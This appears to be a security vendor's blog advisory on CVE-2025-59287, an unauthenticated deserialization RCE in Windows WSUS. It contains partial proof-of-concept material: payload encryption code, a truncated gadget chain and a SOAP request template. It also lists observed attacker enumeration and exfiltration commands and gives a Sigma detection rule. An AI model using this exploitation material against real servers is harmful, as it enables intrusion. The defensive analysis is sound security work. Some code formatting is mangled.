CVE-2025-59287 Explained: WSUS Unauthenticated RCE Vulnerability

Picus Labs

| 8 MIN READ CREATED ON October 25, 2025 CVE-2025-59287 Explained: WSUS Unauthenticated RCE Vulnerability On 24 October 2025, Microsoft released an out-of-band security update for CVE-2025-59287 , a critical (CVSS 9.8) remote code execution vulnerability in the WSUS Server Role on Windows Server (2012/2012 R2, 2016, 2019, 2022, and 2025). The flaw stems from unsafe deserialization in WSUS s reporting web services , enabling a remote , unauthenticated attacker to send crafted requests and execute arbitrary code with SYSTEM privileges on a vulnerable server. Microsoft confirmed that the October Patch Tuesday update did not fully mitigate the issue and urged immediate deployment of the new out-of-band patches [1]. As exploitation activity has already been detected in the wild, making prompt remediation critical for all WSUS-enabled environments [2]. This blog examines the WSUS service, the root cause of CVE-2025-59287, available proof-of-concept exploits, and the recommended mitigation and workaround strategies. Simulate Vulnerability Exploitation Attacks with 14-Day Free Trial of Picus Platform What Is Windows Server Update Services (WSUS)? Windows Server Update Services (WSUS) is a Windows Server role that allows organizations to centrally manage, approve, and distribute Microsoft updates across all Windows endpoints in their environment. Instead of each machine connecting directly to Microsoft Update over the internet, WSUS acts as an internal

update repository , improving control , bandwidth efficiency, and compliance. Client systems periodically communicate with the WSUS server over HTTP (port 8530) or HTTPS (port 8531) to request update metadata and download approved patches. Administrators can define update policies, automate deployment schedules, and monitor update status across the network, making WSUS a key infrastructure component in enterprise patch management and compliance operations. What Is the Technical Root Cause of CVE-2025-59287 RCE? The vulnerability lies within the WSUS component responsible for handling the AuthorizationCookie objects, specifically in the Microsoft.UpdateServices.Internal.Authorization.EncryptionHelper.DecryptData() method. The Deserialization Flaw The core issue is the use of the insecure .NET BinaryFormatter for deserializing encrypted cookie data without proper type validation. When an authorization cookie is received via the GetCookie() SOAP endpoint, the server attempts to decrypt and deserialize its contents. As shown in the provided source code snippet, after decryption, the data is passed directly to the BinaryFormatter.Deserialize() method if the object is not of the hardcoded type UnencryptedCookieData :

```
// Source snippet from DecryptData method
// ... (Decryption logic using AES-128-CBC) else { BinaryFormatter
binaryFormatter = new BinaryFormatter();
MemoryStream
memoryStream
= new
MemoryStream
( array ); try { obj = binaryFormatter.Deserialize(
memoryStream
);
// <
-- VULNERABLE CALL } catch (Exception ex2)
// ... if (obj.GetType() != this .classType) { throw new
LoggedArgumentException( "Decrypted cookie has the wrong data type.
Expected type = " + this .classType.
ToString
() + ", actual type = " + obj.GetType().
ToString
(), "cookieData" ); } } return obj; }
```

The use of BinaryFormatter.Deserialize() on arbitrary user-controllable input (the encrypted cookie data) is a classic unsafe deserialization vulnerability. An attacker can craft a malicious gadget chain payload (often generated using tools like ysoserial.net) that, when deserialized by BinaryFormatter , forces the application to execute arbitrary code. Since the WSUS service often runs with high privileges (e.g., SYSTEM), this leads to a critical RCE. Vulnerability Flow: GetCookie to RCE The exploitation flow is as follows. An unauthenticated attacker sends a crafted SOAP request to the /ClientWebService/Client.asmx endpoint, calling the GetCookie method. The request includes a specially constructed AuthorizationCookie with a CookieData field containing the encrypted malicious payload. The payload is a Base64-encoded, AES-128-CBC encrypted gadget chain. The request reaches the AuthorizationManager.GetCookie method, which calls CrackAuthorizationCookies , leading to CrackAuthorizationCookie , and finally to the vulnerable EncryptionHelper.DecryptData() . DecryptData uses a hardcoded AES key to decrypt the payload. The decrypted payload is deserialized by BinaryFormatter , executing the attacker's code with SYSTEM privileges . CVE-2025-59287 PoC: How Attackers Exploit WSUS Deserialization Flaw The exploitation involves two main parts: a payload generator and the SOAP request [3]. 1. Payload Generation (Encryption Logic) The following C# code snippet illustrates how the serialized gadget chain (from ysoserial.net) is encrypted using the hardcoded key and an IV of all zeros:

```
// Proof-of-Concept (PoC) Encryption Logic static byte[]
EncryptPayload(byte[] data, byte[] key) { using (var aes = new
AesCryptoServiceProvider()) { aes.Key = key; aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None; aes.IV = new byte[ 16 ];
```

// null IV byte[] salt = new byte[16]; new RNGCryptoServiceProvider().GetNonZeroBytes(salt); using (var encryptor = aes.CreateEncryptor()) {
// ... (Custom block padding and transformation logic to match WSUS implementation)
// The result is the encrypted cookie data including the salt/IV block. } }
} The ysooo string below is a
Base64
-encoded serialized object (likely an IComparer gadget chain) that, upon deserialization, triggers a command like
cmd.exe
/c calc .
// Serialized Gadget Chain (Partial, for illustration) string ysooo =
"AAEAAAD
//
///AQAAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFs
LCA..." ; 2. SOAP Request Template The final encrypted
payload ([GENERATED
PAYLOAD]) is placed into the AuthorizationCookie element of a SOAP request to the GetCookie endpoint: POST /ClientWebService/Client.asmx HTTP/ 1.1
Host: WSUS-SERVER: 8530 Content-Type: text/xml; charset=utf -8 SOAPAction: "http:
//www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632 SimpleTargeting [GENERATED
PAYLOAD] 1.20 Observed Exploitation of CVE-2025-59287 in the Wild Threat actors have been observed actively exploiting this vulnerability in the wild, targeting exposed WSUS instances, often on the default ports 8530 and 8531 [2]. Attacker Tradecraft The typical attack chain involves: Sending the malicious SOAP request to the WSUS server. The RCE is triggered, spawning a command interpreter process. The observed process chains indicate execution via the main WSUS processes wsusservice
.exe
cmd.exe
cmd.exe
powershell.exe
and, w3wp
.exe
cmd.exe
cmd.exe

powershell.exe
The attacker executes an encoded
PowerShell
command for enumeration and data exfiltration . Observed commands include:
whoami
;net user /domain and net user /domain;
ipconfig
/all . The enumerated data is exfiltrated to a
remote
URL
, often using curl
.exe or iwr (Invoke-WebRequest) . Mitigation and Defense Immediate action is required to prevent compromise. Apply the Microsoft Out-of-Band
Update
Apply the security
update
released by Microsoft immediately. This patch addresses the vulnerability by implementing secure serialization mechanisms and/or strict type validation, preventing the deserialization of malicious object types. Refer to the official Microsoft Security Response Center (MSRC) advisory for the specific updates for your Windows Server version.

Network Isolation and Hardening The vulnerability is unauthenticated and exploitable over the
network. Restrict
network access to the WSUS service ports (8530 /TCP and 8531 /TCP) to only the clients and management hosts that explicitly require it. Blocking inbound traffic on these ports from the public internet is a critical defense-in-depth measure.

Monitoring and
Detection System administrators should immediately review logs for signs of exploitation. Artifact Description
Detection Focus
C:\
inetpub\logs\LogFiles\W3SVC*\u_ex*.log HTTP service logs POST requests to /ClientWebService/Client.asmx or other WSUS endpoints with large
payload sizes or repeated access attempts. Process Creation Logs Windows Event Logs/EDR
Child processes (
cmd.exe

,
powershell.exe
)
spawned by wsusservice
.exe or w3wp
.exe (specifically the WSUS application pool). WSUS Log File
C:\
Program Files\
Update
Services
\Logfiles\SoftwareDistribution.log Review for deserialization errors (e.g.,
System.Reflection.TargetInvocationException) . A Sigma rule for detecting
the suspicious
child process activity is provided below [2]. # Sigma Rule for Suspicious
WSUS
Child Process title: Suspicious Windows
Update
Service
Child id: 622c4f64-c277-424a-9a1c-80c73d7243a0 status: experimental
description: Detects the activity of a suspicious
child
spawning from Windows
Update
Service (WSUS), potential CVE-2025-59287. logsource: category:
process_creation product: windows
detection: selection_service: ParentImage
|endswith: '\wsusservice
.exe' selection_w3wp: ParentImage
|endswith: '\w3wp
.exe' ParentCommandLine
|contains: 'wsuspool' Image
|endswith: '\
cmd.exe
' condition: selection_service or selection_w3wp How Picus Simulates WSUS
CVE-2025-59287 Unauthenticated RCE Exploitation? We strongly recommend
simulating exploited vulnerabilities targeting WSUS and safely emulating
the adversarial behaviours observed in CVE-2025-59287 attack campaigns to
verify how well your controls stop unauthenticated RCE and post-exploit
activity. With the Picus Security Validation Platform , you can also test

your defences against other high-profile vulnerabilities, for example CVE-2025-59287, Log4Shell, and ProxyLogon, in minutes using a 14-day free trial . Picus Threat Library includes the following threat for WSUS CVE-2025-59287 RCE attacks. Threat ID Threat Name Attack Module 99677 WSUS Web Attack Campaign Web Application Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform. Key Takeaways Date & action: 24 Oct 2025 Microsoft released an out-of-band patch for CVE-2025-59287 . Severity: Rated critical (CVSS 9.8) unauthenticated remote code execution (RCE). Affected component: WSUS Server Role on Windows Server (2012/2012 R2, 2016, 2019, 2022, 2025). Root cause: Unsafe deserialization insecure use of .NET BinaryFormatter in WSUS s reporting web services . Attack vector: Crafted SOAP requests to /ClientWebService/Client.asmx (GetCookie) containing a malicious AuthorizationCookie.

Payload mechanics: Base64 AES-128-CBC encrypted gadget chain (deserialized by BinaryFormatter) that triggers arbitrary code execution. Privilege impact: Code executes with SYSTEM privileges (WSUS typically runs at high privilege). Exploitation observed: Active exploitation in the wild public PoCs and attacker campaigns reported. Why it s exploitable: Deserialization runs before strict type validation; BinaryFormatter.Deserialize() accepts attacker-controlled objects. Detection artifacts: suspicious POSTs to /ClientWebService/Client.asmx , large/odd CookieData fields, wsusservice .exe or w3wp .exe spawning cmd.exe powershell.exe . Immediate recommendation: Prioritize applying Microsoft s OOB updates for affected OS versions (do not delay). References [1] Security Update Guide - Microsoft Security Response Center. Available: https: //msrc.microsoft.com/

update-guide/vulnerability/CVE-2025-59287. [Accessed: Oct. 25, 2025]

[2] C. Hudson, J. Maclachlan, J. Minton, J. Hammond, and L. O Donnell-Welch, Exploitation of Windows Server Update Services Remote Code Execution Vulnerability (CVE-2025-59287), Huntress. Available: https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability. [Accessed: Oct. 25, 2025]

[3] HawkTrace, CVE-2025-59287 WSUS Remote Code Execution, HawkTrace Research, Oct. 14, 2025. Available: https://hawktrace.com/blog/CVE-2025-59287. [Accessed: Oct. 25, 2025]